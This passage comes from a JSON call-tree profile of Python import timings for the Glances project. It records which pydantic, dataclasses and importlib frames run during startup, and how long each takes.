importlib._bootstrap>\\u0000914\",\"time\": 0.001891,\"attributes\": {\"l938\": 0.0018912379964604042},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001891,\"attributes\": {\"cSourceFileLoader\": 0.0018912379964604042, \"l762\": 0.0018912379964604042},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001891,\"attributes\": {\"l491\": 0.0018912379964604042},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/typing_inspection/typing_objects.py\\u00001\",\"time\": 0.001891,\"attributes\": {\"l415\": 0.0018912379964604042},\"children\": [{\"identifier\": \"_compile_isinstance_check_function\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/typing_inspection/typing_objects.py\\u0000105\",\"time\": 0.001891,\"attributes\": {\"l133\": 0.0018912379964604042},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001891,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__build_class__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.034998,\"attributes\": {\"l938\": 0.03499756100063678},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.034998,\"attributes\": {\"cSourceFileLoader\": 0.03499756100063678, \"l762\": 0.03499756100063678},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.034998,\"attributes\": {\"l491\": 0.03499756100063678},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/dataclasses.py\\u00001\",\"time\": 0.034998,\"attributes\": {\"l14\": 0.007993345003342256, \"l15\": 0.027004215997294523},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.034998,\"attributes\": {\"l1426\": 0.03499756100063678},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.034998,\"attributes\": {\"l491\": 0.03499756100063678},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.034998,\"attributes\": {\"l1371\": 0.03499756100063678},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.034998,\"attributes\": {\"l1342\": 0.03499756100063678},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.034998,\"attributes\": {\"l938\": 0.03499756100063678},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.034998,\"attributes\": {\"cSourceFileLoader\": 0.03499756100063678, \"l762\": 0.03499756100063678},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.034998,\"attributes\": {\"l491\": 0.03499756100063678},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_config.py\\u00001\",\"time\": 0.001994,\"attributes\": {\"l18\": 0.001994069003558252},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001994,\"attributes\": {\"l1371\": 0.001994069003558252},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001994,\"attributes\": {\"l1342\": 0.001994069003558252},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001994,\"attributes\": {\"l938\": 0.001994069003558252},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001994,\"attributes\": {\"cSourceFileLoader\": 0.001994069003558252, \"l762\": 0.001994069003558252},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001994,\"attributes\": {\"l491\": 0.001994069003558252},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/config.py\\u00001\",\"time\": 0.001994,\"attributes\": {\"l36\": 0.001994069003558252},\"children\": [{\"identifier\": \"__new__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/typing_extensions.py\\u00001085\",\"time\": 0.001994,\"attributes\": {\"c_TypedDictMeta\": 0.001994069003558252, \"l1139\": 0.001994069003558252},\"children\": [{\"identifier\": \"_type_check\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u0000184\",\"time\": 0.001994,\"attributes\": {\"l206\": 0.001994069003558252},\"children\": [{\"identifier\": \"__eq__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/annotationlib.py\\u0000257\",\"time\": 0.001994,\"attributes\": {\"cForwardRef\": 0.001994069003558252, \"l258\": 0.001994069003558252},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_decorators.py\\u00001\",\"time\": 0.004000,\"attributes\": {\"l23\": 0.0020036659989273176, \"l164\": 0.001996438004425727},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002004,\"attributes\": {\"l1371\": 0.0020036659989273176},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002004,\"attributes\": {\"l1342\": 0.0020036659989273176},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002004,\"attributes\": {\"l949\": 0.0020036659989273176},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"dataclass\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u00001342\",\"time\": 0.001996,\"attributes\": {\"cPydanticDescriptorProxy\": 0.001996438004425727, \"l1370\": 0.001996438004425727},\"children\": [{\"identifier\": \"wrap\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u00001359\",\"time\": 0.001996,\"attributes\": {\"cPydanticDescriptorProxy\": 0.001996438004425727, \"l1360\": 0.001996438004425727},\"children\": [{\"identifier\": \"_process_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000934\",\"time\": 0.001996,\"attributes\": {\"cPydanticDescriptorProxy\": 0.001996438004425727, \"l1014\": 0.001996438004425727},\"children\": [{\"identifier\": \"_get_field\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000773\",\"time\": 0.001996,\"attributes\": {\"cPydanticDescriptorProxy\": 0.001996438004425727, \"l817\": 0.001996438004425727},\"children\": [{\"identifier\": \"_is_type\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000714\",\"time\": 0.001996,\"attributes\": {\"l768\": 0.001996438004425727},\"children\": [{\"identifier\": \"_is_classvar\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000699\",\"time\": 0.001996,\"attributes\": {\"l701\": 0.001996438004425727},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_mock_val_ser.py\\u00001\",\"time\": 0.001999,\"attributes\": {\"l9\": 0.0019991719964309596},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001999,\"attributes\": {\"l1371\": 0.0019991719964309596},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001999,\"attributes\": {\"l1342\": 0.0019991719964309596},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001999,\"attributes\": {\"l938\": 0.0019991719964309596},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.0019991719964309596, \"l758\": 0.0019991719964309596},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.0019991719964309596, \"l891\": 0.0019991719964309596},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.001999,\"attributes\": {\"l516\": 0.0019991719964309596},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_dataclasses.py\\u00001\",\"time\": 0.027004,\"attributes\": {\"l23\": 0.020000873002572916, \"l28\": 0.007003342994721606},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.027004,\"attributes\": {\"l1371\": 0.027004215997294523},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.027004,\"attributes\": {\"l1342\": 0.027004215997294523},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.027004,\"attributes\": {\"l938\": 0.027004215997294523},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.027004,\"attributes\": {\"cSourceFileLoader\": 0.027004215997294523, \"l762\": 0.027004215997294523},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.027004,\"attributes\": {\"l491\": 0.027004215997294523},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/fields.py\\u00001\",\"time\": 0.020001,\"attributes\": {\"l16\": 0.0059999049990437925, \"l23\": 0.012108624003303703, \"l1400\": 0.001892344000225421},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.006000,\"attributes\": {\"l1371\": 0.0059999049990437925},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.006000,\"attributes\": {\"l1342\": 0.0059999049990437925},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.006000,\"attributes\": {\"l938\": 0.0059999049990437925},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.006000,\"attributes\": {\"cSourceFileLoader\": 0.0059999049990437925, \"l762\": 0.0059999049990437925},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.006000,\"attributes\": {\"l491\": 0.0059999049990437925},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/annotated_types/__init__.py\\u00001\",\"time\": 0.006000,\"attributes\": {\"l119\": 0.0020004629986942746, \"l243\": 0.0021352929979912005, \"l322\": 0.0018641490023583174},\"children\": [{\"identifier\": \"wrap\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u00001359\",\"time\": 0.006000,\"attributes\": {\"cGe\": 0.0020004629986942746, \"l1360\": 0.0059999049990437925, \"cMinLen\": 0.0021352929979912005, \"cPredicate\": 0.0018641490023583174},\"children\": [{\"identifier\": \"_process_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000934\",\"time\": 0.006000,\"attributes\": {\"cGe\": 0.0020004629986942746, \"l1163\": 0.004135755996685475, \"cMinLen\": 0.0021352929979912005, \"cPredicate\": 0.0018641490023583174, \"l1014\": 0.0018641490023583174},\"children\": [{\"identifier\": \"add_fns_to_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000478\",\"time\": 0.004136,\"attributes\": {\"c_FuncBuilder\": 0.004135755996685475, \"l513\": 0.0020004629986942746, \"l506\": 0.0021352929979912005},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002135,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_field\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000773\",\"time\": 0.001864,\"attributes\": {\"cPredicate\": 0.0018641490023583174, \"l815\": 0.0018641490023583174},\"children\": [{\"identifier\": \"_is_classvar\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000699\",\"time\": 0.001864,\"attributes\": {\"l700\": 0.0018641490023583174},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001864,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.012109,\"attributes\": {\"l1423\": 0.002001355998800136, \"l1426\": 0.010107268004503567},\"children\": [{\"identifier\": \"__getattr__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/__init__.py\\u0000425\",\"time\": 0.002001,\"attributes\": {\"l437\": 0.002001355998800136},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_migration.py\\u0000264\",\"time\": 0.002001,\"attributes\": {\"l280\": 0.002001355998800136},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.002001355998800136},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.002001355998800136},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.002001355998800136},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.002001355998800136, \"l762\": 0.002001355998800136},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.002001355998800136},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_validators.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l17\": 0.002001355998800136},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.002001355998800136},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.002001355998800136},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.002001355998800136},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.002001355998800136, \"l762\": 0.002001355998800136},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.002001355998800136},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/zoneinfo/__init__.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l10\": 0.002001355998800136},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.002001,\"attributes\": {\"l1426\": 0.002001355998800136},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.002001355998800136},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.002001355998800136},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1333\": 0.002001355998800136},\"children\": [{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.002001,\"attributes\": {\"l1267\": 0.002001355998800136},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001287\",\"time\": 0.002001,\"attributes\": {\"cPathFinder\": 0.002001355998800136, \"l1295\": 0.002001355998800136},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001258\",\"time\": 0.002001,\"attributes\": {\"cPathFinder\": 0.002001355998800136, \"l1269\": 0.002001355998800136},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"cFileFinder\": 0.002001355998800136, \"l1399\": 0.002001355998800136},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.010107,\"attributes\": {\"l491\": 0.010107268004503567},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.010107,\"attributes\": {\"l1371\": 0.010107268004503567},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.010107,\"attributes\": {\"l1342\": 0.010107268004503567},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.010107,\"attributes\": {\"l938\": 0.010107268004503567},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.010107,\"attributes\": {\"cSourceFileLoader\": 0.010107268004503567, \"l762\": 0.010107268004503567},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.010107,\"attributes\": {\"l491\": 0.010107268004503567},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/types.py\\u00001\",\"time\": 0.010107,\"attributes\": {\"l35\": 0.001999559004616458, \"l39\": 0.0020688340009655803, \"l387\": 0.0019331379953655414, \"l1279\": 0.0020706880022771657, \"l2889\": 0.0020350490012788214},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.002000,\"attributes\": {\"l1426\": 0.001999559004616458},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002000,\"attributes\": {\"l491\": 0.001999559004616458},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002000,\"attributes\": {\"l1371\": 0.001999559004616458},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002000,\"attributes\": {\"l1310\": 0.001999559004616458},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002069,\"attributes\": {\"l1371\": 0.0020688340009655803},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002069,\"attributes\": {\"l1342\": 0.0020688340009655803},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002069,\"attributes\": {\"l938\": 0.0020688340009655803},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002069,\"attributes\": {\"cSourceFileLoader\": 0.0020688340009655803, \"l758\": 0.0020688340009655803},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002069,\"attributes\": {\"cSourceFileLoader\": 0.0020688340009655803, \"l891\": 0.0020688340009655803},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002069,\"attributes\": {\"l514\": 0.0020688340009655803},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002069,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002069,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__build_class__\\u0000<built-in>\\u00000\",\"time\": 0.001933,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001933,\"attributes\": {},\"children\": []}]},{\"identifier\": \"dataclass\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u00001342\",\"time\": 0.002071,\"attributes\": {\"cPathType\": 0.0020706880022771657, \"l1370\": 0.0020706880022771657},\"children\": [{\"identifier\": \"wrap\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u00001359\",\"time\": 0.002071,\"attributes\": {\"cPathType\": 0.0020706880022771657, \"l1360\": 0.0020706880022771657},\"children\": [{\"identifier\": \"_process_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000934\",\"time\": 0.002071,\"attributes\": {\"cPathType\": 0.0020706880022771657, \"l1163\": 0.0020706880022771657},\"children\": [{\"identifier\": \"add_fns_to_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000478\",\"time\": 0.002071,\"attributes\": {\"c_FuncBuilder\": 0.0020706880022771657, \"l506\": 0.0020706880022771657},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002071,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrap\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u00001359\",\"time\": 0.002035,\"attributes\": {\"cTag\": 0.0020350490012788214, \"l1360\": 0.0020350490012788214},\"children\": [{\"identifier\": \"_process_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000934\",\"time\": 0.002035,\"attributes\": {\"cTag\": 0.0020350490012788214, \"l1163\": 0.0020350490012788214},\"children\": [{\"identifier\": \"add_fns_to_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000478\",\"time\": 0.002035,\"attributes\": {\"c_FuncBuilder\": 0.0020350490012788214, \"l506\": 0.0020350490012788214},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002035,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"ModelPrivateAttr\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/fields.py\\u00001400\",\"time\": 0.001892,\"attributes\": {\"l1455\": 0.001892344000225421},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001892,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/_internal/_generate_schema.py\\u00001\",\"time\": 0.007003,\"attributes\": {\"l62\": 0.005026343998906668, \"l106\": 0.001976998995814938},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.007003,\"attributes\": {\"l1371\": 0.007003342994721606},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.007003,\"attributes\": {\"l1342\": 0.005026343998906668, \"l1333\": 0.001976998995814938},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.005026,\"attributes\": {\"l938\": 0.005026343998906668},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.005026,\"attributes\": {\"cSourceFileLoader\": 0.005026343998906668, \"l758\": 0.0036394459966686554, \"l762\": 0.0013868980022380129},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.003639,\"attributes\": {\"cSourceFileLoader\": 0.0036394459966686554, \"l891\": 0.0036394459966686554},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.003639,\"attributes\": {\"l515\": 0.0036394459966686554},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003639,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001387,\"attributes\": {\"l491\": 0.0013868980022380129},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/functional_validators.py\\u00001\",\"time\": 0.001387,\"attributes\": {\"l157\": 0.0013868980022380129},\"children\": [{\"identifier\": \"wrap\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u00001359\",\"time\": 0.001387,\"attributes\": {\"cPlainValidator\": 0.0013868980022380129, \"l1360\": 0.0013868980022380129},\"children\": [{\"identifier\": \"_process_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000934\",\"time\": 0.001387,\"attributes\": {\"cPlainValidator\": 0.0013868980022380129, \"l1163\": 0.0013868980022380129},\"children\": [{\"identifier\": \"add_fns_to_class\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/dataclasses.py\\u0000478\",\"time\": 0.001387,\"attributes\": {\"c_FuncBuilder\": 0.0013868980022380129, \"l506\": 0.0013868980022380129},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001387,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.001977,\"attributes\": {\"l1267\": 0.001976998995814938},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001287\",\"time\": 0.001977,\"attributes\": {\"cPathFinder\": 0.001976998995814938, \"l1295\": 0.001976998995814938},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001258\",\"time\": 0.001977,\"attributes\": {\"cPathFinder\": 0.001976998995814938, \"l1269\": 0.001976998995814938},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001360\",\"time\": 0.001977,\"attributes\": {\"cFileFinder\": 0.001976998995814938, \"l1396\": 0.001976998995814938},\"children\": [{\"identifier\": \"_path_join\\u0000<frozen importlib._bootstrap_external>\\u0000131\",\"time\": 0.001977,\"attributes\": {\"l133\": 0.001976998995814938},\"children\": [{\"identifier\": \"str.join\\u0000<built-in>\\u00000\",\"time\": 0.001977,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001977,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"dataclass\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/pydantic/dataclasses.py\\u000098\",\"time\": 0.013994,\"attributes\": {\"l313\": 